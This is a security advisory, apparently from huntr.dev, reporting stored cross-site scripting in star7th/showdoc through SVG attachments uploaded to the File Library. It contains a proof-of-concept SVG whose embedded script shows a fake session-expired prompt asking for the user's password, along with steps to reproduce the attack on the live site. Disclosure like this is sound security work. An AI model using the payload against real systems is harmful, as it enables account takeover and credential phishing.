Lucene search

K
huntrKhanhchauminhC041B693-877B-4456-B463-19E4C9456EEE
HistoryDec 26, 2021 - 10:55 a.m.

Cross-site Scripting (XSS) - Stored in star7th/showdoc

2021-12-2610:55:03
khanhchauminh
www.huntr.dev
5

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

3.5 Low

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

19.5%

Description

Stored XSS via upload attachment with format .svg in File Library.

Detail

When opening the attachment, some format files will be rendered and loaded on the browser. So it allows executing arbitrary javascript code that was injected into attachment before.

Proof of Concept

PoC.svg

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script>
      var xss = prompt("Hi user!\nYour session is expired, please enter password to login again!");
      if (xss != null) {
        alert("Your password is: " + xss);
      }
   </script>
</svg>

Steps to Reproduce

1.After login, click the arrow on the top right corner -> go to File Library. (https://www.showdoc.com.cn/attachment/index)
2.In the File Library page, click Upload button and choose the PoC.svg
3.After uploading successfully, click on the check button to open it in a new tab.

Β 

The XSS will trigger when the attachment is opened in a new tab.

Note

The link to that image looks like this: https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=dfcf1701ec0a3e1f08741289b7ff0da7

Impact

This vulnerability has the potential to deface websites, result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user’s device.

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

3.5 Low

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

19.5%

Related for C041B693-877B-4456-B463-19E4C9456EEE